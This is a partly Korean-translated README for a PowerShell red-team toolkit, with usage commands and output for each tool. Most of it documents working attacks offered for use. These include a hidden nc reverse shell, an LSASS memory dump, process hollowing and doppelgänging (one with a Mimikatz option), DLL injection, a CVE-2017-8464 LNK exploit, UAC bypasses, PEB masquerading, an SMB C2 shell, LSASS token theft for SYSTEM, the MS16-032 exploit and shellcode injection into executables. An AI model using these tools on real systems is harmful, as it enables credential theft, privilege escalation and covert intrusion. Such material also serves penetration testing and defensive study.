
My musings with PowerShell
온라인에는 PowerShell에서 거의 모든 작업을 수행할 수 있는 훌륭한 도구와 리소스가 있습니다. 하지만 때로는 특정 목적을 위해 유틸리티를 직접 스크립팅하거나 존재론적 간극을 메워야 할 필요가 있습니다. 이 저장소는 재미를 위해 또는 좁은 적용 사례를 염두에 두고 제가 모아둔 PowerShell 유틸리티 모음입니다.
그러므로 이것들로 얻을 수 있는 효용은 사람마다 다를 수 있지만, 이슈를 올리거나 포크하여 수정하는 것은 부담 없이 하셔도 됩니다.
PowerShell에서 Windows API에 액세스하는 데 참고할 만한 자료:
Windows의 "runas.exe"와 기능적으로 동일하며, Advapi32::CreateProcessWithLogonW를 사용합니다.``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
### Invoke-NetSessionEnum
Netapi32::NetSessionEnum을 사용하여 도메인에 가입된 컴퓨터에서 활성 세션을 열거합니다.```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
Kernel32::CreateProcess를 사용하여 PowerShell에서 프로세스 생성에 대한 세밀한 제어를 달성합니다.``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
### Detect-Debug
PowerShell에서 커널/사용자 모드 디버거의 존재를 탐지하기 위한 여러 기술을 보여줍니다.```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug
[+] Detect Kernel-Mode Debugging
[?] SystemKernelDebuggerInformation: False
[+] Detect User-Mode Debugging
[?] CloseHandle Exception: Detected
[?] IsDebuggerPresent: Detected
[?] CheckRemoteDebuggerPresent: Detected
[?] PEB!BeingDebugged: Detected
[?] PEB!NtGlobalFlag: Detected
[?] DebugSelf: Detected
NtQuerySystemInformation::SystemHandleInformation를 사용하여 지정된 프로세스에서 열린 핸들 목록을 가져옵니다. x32/x64에서 작동합니다.``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288
[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer
[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects
PID ObjectType HandleFlags Handle KernelPointer AccessMask
2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...
### Get-TokenPrivs
프로세스에 대한 핸들을 열고 Advapi32::GetTokenInformation을 사용하여 프로세스 토큰과 연결된 권한을 나열합니다.```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836
[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:
LUID Privilege
---- ---------
19 SeShutdownPrivilege
23 SeChangeNotifyPrivilege
25 SeUndockPrivilege
33 SeIncreaseWorkingSetPrivilege
34 SeTimeZonePrivilege
Get-Exports는 DLL 내보내기를 가져오고 선택적으로 C++ 래퍼 출력을 제공합니다(ExportsToC++와 동일하지만 VS 및 컴파일된 바이너리가 필요 없음). 이를 위해 DLL 바이트를 메모리로 읽은 다음 구문 분석합니다(LoadLibraryEx 없음). 이 때문에 PowerShell의 비트 수와 관계없이 x32/x64 DLL을 구문 분석할 수 있습니다.``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll
[?] 32-bit Image!
[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8
Ordinal ImageRVA FunctionName
1 0x000242A0 UbpmAcquireJobBackgroundMode
2 0x00004750 UbpmApiBufferFree
3 0x00004E30 UbpmCloseTriggerConsumer
4 0x000135E0 UbpmInitialize
5 0x00008D00 UbpmOpenTriggerConsumer
6 0x000242C0 UbpmReleaseJobBackgroundMode
7 0x00013230 UbpmSessionStateChanged
8 0x000242E0 UbpmTerminate
9 0x00003BD0 UbpmTriggerConsumerConfigure
10 0x000040C0 UbpmTriggerConsumerControl
11 0x00025B10 UbpmTriggerConsumerControlNotifications
12 0x00025B40 UbpmTriggerConsumerQueryStatus
13 0x0000E1B0 UbpmTriggerConsumerRegister
14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation
NtQuerySystemInformation::SystemModuleInformation를 사용하여 로드된 모듈, 해당 기본 주소 및 크기(x32/x64) 목록을 가져옵니다.```
PS C:\> Get-SystemModuleInformation
[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects
ImageBase ImageSize ImageName
--------- --------- ---------
0xFFFFF80314C0D000 0x749000 \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000 \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000 \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000 \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000 \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000 \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000 \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000 \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000 \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000 \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000 \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...
.NET API 클래스를 리플렉션을 통해 PowerShell에 노출하는 조잡한 도구입니다. Microsoft.Win32.UnsafeNativeMethods와 같은 내부 private 클래스도 포함됩니다.```
C:\PS> Expose-NetAPI -Search bitmap
[!] Search returned no results, try specifying the namespace!
C:\PS> Expose-NetAPI -Search bitmap -Namespace System.Drawing
Assembly TypeName Name Definition
System.Drawing.dll System.Windows.Forms.DpiHelper CreateResizedBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Windows.Forms.DpiHelper ScaleBitmapLogicalToDevice static void ScaleBitmapLogicalToD... System.Drawing.dll System.Drawing.Bitmap FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.BitmapSelector CreateBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Drawing.Image FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.SafeNativeMethods CreateBitmap static System.IntPtr CreateBitmap... System.Drawing.dll System.Drawing.SafeNativeMethods CreateCompatibleBitmap static System.IntPtr CreateCompat... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateBitmap static System.IntPtr IntCreateBit... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateCompatibleBitmap static System.IntPtr IntCreateCom... System.Drawing.dll System.Drawing.Imaging.Metafile FromHbitmap static System.Drawing.Bitmap From...
C:\PS> Expose-NetAPI -Search drawbutton |Select Assembly,TypeName,Name |ft
Assembly TypeName Name
System.Windows.Forms.dll System.Windows.Forms.ButtonRenderer DrawButton System.Windows.Forms.dll System.Windows.Forms.ControlPaint DrawButton System.Windows.Forms.dll System.Windows.Forms.DataGridViewButtonCell+Da... DrawButton
C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods
[!] Unable to locate specified assembly!
C:\PS> Expose-NetAPI -Load System.Windows.Forms True
C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods
[+] Created $SystemWindowsFormsSafeNativeMethods!
C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.UnsafeNativeMethods |Out-Null C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.SafeNativeMethods |Out-Null C:\PS> $ModHandle = $MicrosoftWin32UnsafeNativeMethods::GetModuleHandle("kernel32.dll") C:\PS> $Kernel32Ref = New-Object System.Runtime.InteropServices.HandleRef([IntPtr]::Zero,$ModHandle) C:\PS> $Beep = $MicrosoftWin32UnsafeNativeMethods::GetProcAddress($Kernel32Ref, "Beep") C:\PS> $MicrosoftWin32SafeNativeMethods::MessageBox([IntPtr]::Zero,$("{0:X}" -f [int64]$Beep),"Beep",0)
### Get-ProcessMiniDump
Dbghelp::MiniDumpWriteDump를 사용하여 프로세스 덤프를 생성합니다.```
# Elevated user dumping elevated process
C:\PS> (Get-Process lsass).Id
528
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 528 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: Administrator
VERBOSE: [?] Administrator privileges required
VERBOSE: [>] Administrator privileges held
VERBOSE: [>] Process dump success!
C:\PS> $CallResult
True
# low priv user dumping low priv process
C:\PS> (Get-Process calc).Id
2424
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 2424 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [>] Process dump success!
C:\PS> $CallResult
True
# low priv user dumping elevated process
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 4 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [?] Administrator privileges required
VERBOSE: [!] Administrator privileges not held!
C:\PS> $CallResult
False
NtQuerySystemInformation::SystemProcessInformation를 사용하여 프로세스 및 프로세스 속성의 상세 목록을 가져옵니다. 자세히 살펴보면 Sysinternals Process Explorer나 Process Hacker와 같은 많은 프로세스 모니터가 이 정보 클래스를 사용한다는 것을 알 수 있습니다(SystemPerformanceInformation, SystemProcessorPerformanceInformation 및 SystemProcessorCycleTimeInformation과 함께 사용).```
C:\PS> Get-SystemProcessInformation
C:\PS> Get-SystemProcessInformation -ProcID 1336
PID : 1336 InheritedFromPID : 1020 ImageName : svchost.exe Priority : 8 CreateTime : 0d:9h:8m:47s UserCPU : 0d:0h:0m:0s KernelCPU : 0d:0h:0m:0s ThreadCount : 12 HandleCount : 387 PageFaults : 7655 SessionId : 0 PageDirectoryBase : 3821568 PeakVirtualSize : 2097249.796875 MB VirtualSize : 2097240.796875 MB PeakWorkingSetSize : 11.65625 MB WorkingSetSize : 6.2109375 MB QuotaPeakPagedPoolUsage : 0.175910949707031 MB QuotaPagedPoolUsage : 0.167121887207031 MB QuotaPeakNonPagedPoolUsage : 0.0151519775390625 MB QuotaNonPagedPoolUsage : 0.0137710571289063 MB PagefileUsage : 3.64453125 MB PeakPagefileUsage : 4.14453125 MB PrivatePageCount : 3.64453125 MB ReadOperationCount : 0 WriteOperationCount : 0 OtherOperationCount : 223 ReadTransferCount : 0 WriteTransferCount : 0 OtherTransferCount : 25010
C:\PS> Get-SystemProcessInformation -ProcName note
### Get-OSTokenInformation
Get-OSTokenInformation는 다양한 API를 사용하여 (접근 가능한) 모든 사용자 토큰을 가져오고 세부 정보를 쿼리합니다.```
# Return full token listing
C:\PS> $OsTokens = Get-OSTokenInformation
C:\PS> $OsTokens.Count
136
C:\PS> $OsTokens[10]
PassMustChange : N/A
ProcessCompany : Microsoft Corporation
AuthPackage : NTLM
TokenType : TokenPrimary
PID : 5876
LastSuccessfulLogon : N/A
Session : 1
LastFailedLogon : N/A
ProcessPath : C:\Windows\system32\backgroundTaskHost.exe
LogonServer : MSEDGEWIN10
Sid : S-1-5-21-4233833229-2203495600-2027003190-1000
ProcessAuthenticode : Valid
User : MSEDGEWIN10\IEUser
LoginTime : 4/16/2018 9:52:20 PM
TokenPrivilegeCount : 5
TokenPrivileges : {SeShutdownPrivilege, SeChangeNotifyPrivilege, SeUndockPrivilege,
SeIncreaseWorkingSetPrivilege...}
Process : backgroundTaskHost
PassLastSet : 10/17/2017 6:13:19 PM
ImpersonationType : N/A
TID : Primary
TokenGroups : {MSEDGEWIN10\IEUser, MSEDGEWIN10\None, Everyone, NT AUTHORITY\Local account and member of
Administrators group...}
LogonType : Interactive
GroupCount : 14
Elevated : No
# Return brief token listing
C:\PS> Get-OSTokenInformation -Brief
Process PID TID Elevated ImpersonationType User
------- --- --- -------- ----------------- ----
ApplicationFrameHost 5820 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 1076 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 1960 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 7860 Primary No N/A MSEDGEWIN10\IEUser
CompatTelRunner 680 Primary Yes N/A NT AUTHORITY\SYSTEM
CompatTelRunner 6916 Primary Yes N/A NT AUTHORITY\SYSTEM
CompatTelRunner 8488 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 3572 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 3900 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 4292 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 4292 144 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4292 7704 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4292 1404 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4464 Primary No N/A MSEDGEWIN10\IEUser
svchost 4556 Primary No N/A MSEDGEWIN10\IEUser
[... Snip ...]
이것은 NT 하드 링크에 대한 개념 증명(proof-of-concept)입니다. 공격적 관점에서 NtSetInformationFile을 사용하여 하드 링크를 생성하는 데는 몇 가지 장점이 있습니다(mklink/CreateHardLink와 달리). NtSetInformationFile을 사용하면 쓰기 권한이 없는 파일에도 링크할 수 있습니다.``` PS C:> Native-HardLink -Link C:\Some\Path\Hard.Link -Target C:\Some\Path\Target.file True
## pwnd
### Start-Hollow
이것은 프로세스 할로잉(Process Hollowing)에 대한 개념 증명입니다. NtCreateProcessEx를 사용한다는 점 외에는 새로운 것은 없습니다. 이 API는 부모 프로세스를 설정하는 편리한 방법을 제공하고 번거로운 Get/SetThreadContext를 피할 수 있다는 장점이 있습니다. 반면에 CreateRemoteThreadEx/NtCreateThreadEx는 상당히 의심스러운 API입니다.```
# Create a Hollow from a PE on disk with explorer as the parent.
# x64 Win10 RS4
C:\PS> Start-Hollow -Sponsor C:\Windows\System32\notepad.exe -Hollow C:\Some\PE.exe -ParentPID 8304 -Verbose
VERBOSE: [?] A place where souls may mend your ailing mind..
VERBOSE: [+] Opened file for access
VERBOSE: [+] Created section from file handle
VERBOSE: [+] Opened handle to the parent => explorer
VERBOSE: [+] Created process from section
VERBOSE: [+] Acquired PBI
VERBOSE: [+] Sponsor architecture is x64
VERBOSE: [+] Sponsor ImageBaseAddress => 7FF69E9F0000
VERBOSE: [+] Allocated space for the Hollow process
VERBOSE: [+] Duplicated Hollow PE headers to the Sponsor
VERBOSE: [+] Duplicated .text section to the Sponsor
VERBOSE: [+] Duplicated .rdata section to the Sponsor
VERBOSE: [+] Duplicated .data section to the Sponsor
VERBOSE: [+] Duplicated .pdata section to the Sponsor
VERBOSE: [+] Duplicated .rsrc section to the Sponsor
VERBOSE: [+] Duplicated .reloc section to the Sponsor
VERBOSE: [+] New process ImageBaseAddress => 40000000
VERBOSE: [+] Created Hollow process parameters
VERBOSE: [+] Allocated memory in the Hollow
VERBOSE: [+] Process parameters duplicated into the Hollow
VERBOSE: [+] Rewrote Hollow->PEB->pProcessParameters
VERBOSE: [+] Created Hollow main thread..
True
이것은 최근 enSilo가 BlackHat EU에서 발표한 doppelgänging에 대한 개념 증명입니다. 간단히 말해 이 프로세스는 디스크에 있는 파일(아무 파일이나 가능)로 NTFS 트랜잭션을 생성하는 것을 포함합니다. 그런 다음 메모리에서 파일을 덮어쓰고, 수정된 파일로 섹션을 생성한 후 해당 섹션을 기반으로 프로세스를 시작합니다. 그 후 트랜잭션을 롤백하여 원래 파일은 변경되지 않은 상태로 두지만, 원래 파일에 의해 백업되는 것으로 보이는 프로세스가 남게 됩니다. 더 완전한 설명은 스크립트의 참조를 확인하십시오.```
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Eidolon C:\Some\Other\File.Path -ParentPID 12784 -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Opened handle to the parent => explorer VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 64-bit VERBOSE: [+] Eidolon image base: 0x7FF6A0570000 VERBOSE: [+] Eidolon entry point: 0x7FF6A05E40C8 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Mimikatz -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 32-bit VERBOSE: [+] Eidolon image base: 0x400000 VERBOSE: [+] Eidolon entry point: 0x4572D2 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True
### Stage-RemoteDll
Stage-RemoteDll는 32비트 및 64비트 아키텍처에서 다양한 DLL 인젝션 기법(NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx)을 시연하기 위한 작은 함수입니다. 약간의 입력 검증과 정리를 수행했지만, 이는 대부분 POC 코드입니다. 또한 이러한 기법들은 원격 프로세스에서 셸코드를 직접 실행하도록 쉽게 용도를 변경할 수 있습니다.```
# Boolean return value
C:\PS> $CallResult = Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx
C:\PS> $CallResult
True
# Verbose output
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode QueueUserAPC -Verbose
VERBOSE: [+] Using QueueUserAPC
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Getting process threads
VERBOSE: [>] Registering APC's with all threads
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: [>] Cleaning up..
True
CVE-2017-8464(일명 LNK round 3 ;))를 악용하기 위한 LNK 파일을 만듭니다!
현재 .Net 및 PowerShell 종속성 때문에 lnk를 로컬에서 생성한 후 대상 시스템으로 이동하는 것이 좋습니다. 자세한 내용은 함수 시노프시스를 참조하십시오.``` C:\PS> Export-LNKPwn -LNKOutPath C:\Some\Local\Path.lnk -TargetCPLPath C:\Target\CPL\Path.cpl -Type SpecialFolderDataBlock
### UAC-TokenMagic
James Forshaw가 아래 링크에 게시한 UAC에 관한 3부작 포스트를 기반으로 하며, CIA가 사용했을 가능성도 있는 기법입니다!
기본적으로 승격된 프로세스의 토큰을 복제하고, 그 필수 무결성 수준(Mandatory Integrity Level)을 낮춘 다음, 이를 사용해 새로운 제한 토큰을 만들고 가장(impersonate)한 후, Secondary Logon 서비스를 이용해 High IL의 새 프로세스를 생성합니다. 토큰으로 숨바꼭질하는 것과 같죠! ;))
이 기법은 승격된 프로세스의 PID를 제공하기만 하면 AlwaysNotify 설정조차 우회합니다.
대상:
7,8,8.1,10,10RS1,10RS2```
C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116
[*] Session is not elevated
[*] Successfully acquired regedit handle
[*] Opened process token
[*] Duplicated process token
[*] Initialized MedIL SID
[*] Lowered token mandatory IL
[*] Created restricted token
[*] Duplicated restricted token
[*] Successfully impersonated security context
[*] Magic..
Bypass-UAC는 자동 승격 IFileOperation COM 개체 메서드 호출을 기반으로 UAC 우회를 수행하기 위한 프레임워크를 제공합니다. 이것은 새로운 기술이 아니며, 전통적으로는 “explorer.exe”에 DLL을 주입하여 수행됩니다. 그러나 explorer에 주입하면 보안 경고를 유발할 수 있고 비관리 DLL을 사용하면 유연한 작업 흐름을 만들 수 없기 때문에 바람직하지 않습니다.
이 문제를 해결하기 위해 Bypass-UAC는 PowerShell의 PEB를 다시 작성하여 “explorer.exe”의 모양을 갖도록 하는 함수를 구현합니다. COM 개체가 프로세스 PEB를 읽는 Windows의 Process Status API(PSAPI)에만 의존하기 때문에 동일한 효과를 제공합니다.``` C:\PS> Bypass-UAC -Method ucmDismMethod
[!] Impersonating explorer.exe! [+] PebBaseAddress: 0x000007F73E93F000 [!] RtlEnterCriticalSection --> &Peb->FastPebLock [>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x000000569B5F1780 [>] Overwriting &Peb->ProcessParameters.CommandLine: 0x000000569B5F1790 [?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list [>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x000000569B5F2208 [>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x000000569B5F2218 [!] RtlLeaveCriticalSection --> &Peb->FastPebLock
[>] Dropping proxy dll.. [+] 64-bit Yamabiko: C:\Users\b33f\AppData\Local\Temp\yam1730961377.tmp [>] Creating XML trigger: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml [>] Performing elevated IFileOperation::MoveItem operation..
[?] Executing PkgMgr.. [!] UAC artifact: C:\Windows\System32\dismcore.dll [!] UAC artifact: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml
### Masquerade-PEB
Masquerade-PEB는 NtQueryInformationProcess를 사용하여 powershell의 PEB에 대한 핸들을 얻습니다. 거기에서 메모리의 여러 UNICODE_STRING 구조체를 교체하여 powershell이 다른 프로세스처럼 보이게 합니다. 구체적으로, 이 함수는 _RTL_USER_PROCESS_PARAMETERS에서 powershell의 "ImagePathName" 및 "CommandLine"을 덮어쓰고 _LDR_DATA_TABLE_ENTRY 연결 리스트에서 "FullDllName" 및 "BaseDllName"을 덮어씁니다.
이것은 프로세스 ID를 확인하기 위해 프로세스 상태 API(Process Status API)에만 의존하는 Windows 워크플로를 속일 수 있으므로 유용할 수 있습니다.```
C:\PS> Masquerade-PEB -BinPath C:\Windows\System32\notepad.exe
[?] PID 2756
[+] PebBaseAddress: 0x7FFD3000
[!] RtlEnterCriticalSection --> &Peb->FastPebLock
[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x002F11F8
[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x002F1200
[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list
[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x002F1B74
[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x002F1B7C
[!] RtlLeaveCriticalSection --> &Peb->FastPebLock
명명된 파이프(System.IO.Pipes)를 C2 채널로 사용하는 POC 셸입니다. SMB 트래픽은 AES CBC(Empire의 코드)로 암호화되며, 키/파이프는 서버가 시작 시 무작위로 생성합니다.
서버:``` PS C:> Invoke-SMBShell
+------- | Host Name: 0AK | Named Pipe: tapsrv.5604.yk0DxXvjUD9xwyJ9 | AES Key: q6EKfuJTX93YUnmX +-------
[>] Waiting for client..
SMB shell: whoami 0ak\b33f
SMB shell: IdontExist The term 'IdontExist' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
SMB shell: $PSVersionTable Name Value
PSRemotingProtocolVersion 2.2 BuildVersion 6.2.9200.17065 PSCompatibleVersions {1.0, 2.0, 3.0} PSVersion 3.0 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 SerializationVersion 1.1.0.1
SMB shell: leave
[!] Client disconnecting..
[>] Waiting for client..
SMB shell: calc Job SMBJob-dVkIkAkXINjMe09S completed successfully!
SMB shell: exit
[!] Client disconnecting.. [!] Terminating server..
PS C:>
**클라이언트:**```
# Client disconnected because of "leave" command
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9
# Client disconnected because "exit" command kills client/server
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9
SeDebugPrivilege를 사용하여 LSASS 액세스 토큰을 복제하고 호출 스레드에서 이를 가장합니다. SeDebugPrivilege가 비활성화된 경우 함수는 이를 다시 활성화합니다.``` Conjure LSASS into our midst! ;) C:\PS> Conjure-LSASS
[?] SeDebugPrivilege is available!
[+] Current process handle: 852
[>] Calling Advapi32::OpenProcessToken [+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: 2000
[?] SeDebugPrivilege is enabled!
[>] Calling Advapi32::OpenProcessToken --> LSASS [+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: 1512
[>] Calling Advapi32::DuplicateToken --> LSASS [+] Duplicate token handle with SecurityImpersonation level: 2008
[>] Calling Advapi32::SetThreadToken [+] Knock knock .. who's there .. LSASS [+] User context: SYSTEM
C:\PS> whoami ERROR: Access is denied. ERROR: Access is denied.
C:\PS> Get-ChildItem -Path hklm:SAM
Hive: HKEY_LOCAL_MACHINE\SAM
SKC VC Name Property
3 2 SAM {C, ServerDomainUpdates}
### Invoke-MS16-032
MS16-032의 PowerShell 구현입니다. 이 익스플로잇은 PowerShell v2 이상을 지원하는 모든 취약한 운영 체제를 대상으로 합니다. 버그 발견과 이를 악용하는 로직에 대한 공로는 James Forshaw(@tiraniddo)에게 있습니다.
대상:
* Win7-Win10 및 2k8-2k12 <== 32/64비트!
* x32 Win7, x64 Win8, x64 2k12R2에서 테스트됨
==> Vista의 PowerShell v1에서는 테스트되지 않았습니다. 확인할 수 있다면 어떤 일이 발생하는지 알려주세요!```
Sit back and watch the pwn!
C:\PS> Invoke-MS16-032
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 956
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 964
[+] Resuming thread..
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
PE 이미지에 셸코드를 주입하면서 PE 기능을 유지합니다.
추가 정보는 다음을 참조하십시오:
Same as above but continue to inject shellcode and overwrite the binary. C:\PS> Subvert-PE -Path C:\Path\To\PE.exe -Write
## 유틸리티
### Get-LimitChildItem
Get-ChildItem용 깊이 제한 래퍼로, 기본 필터 기능을 포함합니다.```
# UNC path txt file search
PS C:\> Get-LimitChildItem -Path "\\192.168.84.129\C$\Program Files\" -MaxDepth 5 -Filter "*.txt"
\\192.168.84.129\C$\Program Files\Windows Defender\ThirdPartyNotices.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\open_source_licenses.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\vmacthlp.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceAmharic.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceArray.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceDaYi.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceTigrinya.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceYi.txt
# Local wildcard *ini* search
PS C:\> Get-LimitChildItem -Path C:\ -MaxDepth 3 -Filter "*ini*"
C:\Windows\system.ini
C:\Windows\win.ini
C:\Windows\Boot\BootDebuggerFiles.ini
C:\Windows\Fonts\desktop.ini
C:\Windows\INF\mdmminij.inf
C:\Windows\Media\Windows Minimize.wav
C:\Windows\PolicyDefinitions\PenTraining.admx
C:\Windows\PolicyDefinitions\WinInit.admx
C:\Windows\System32\dwminit.dll
C:\Windows\System32\ie4uinit.exe
C:\Windows\System32\ieuinit.inf
C:\Windows\System32\PerfStringBackup.INI
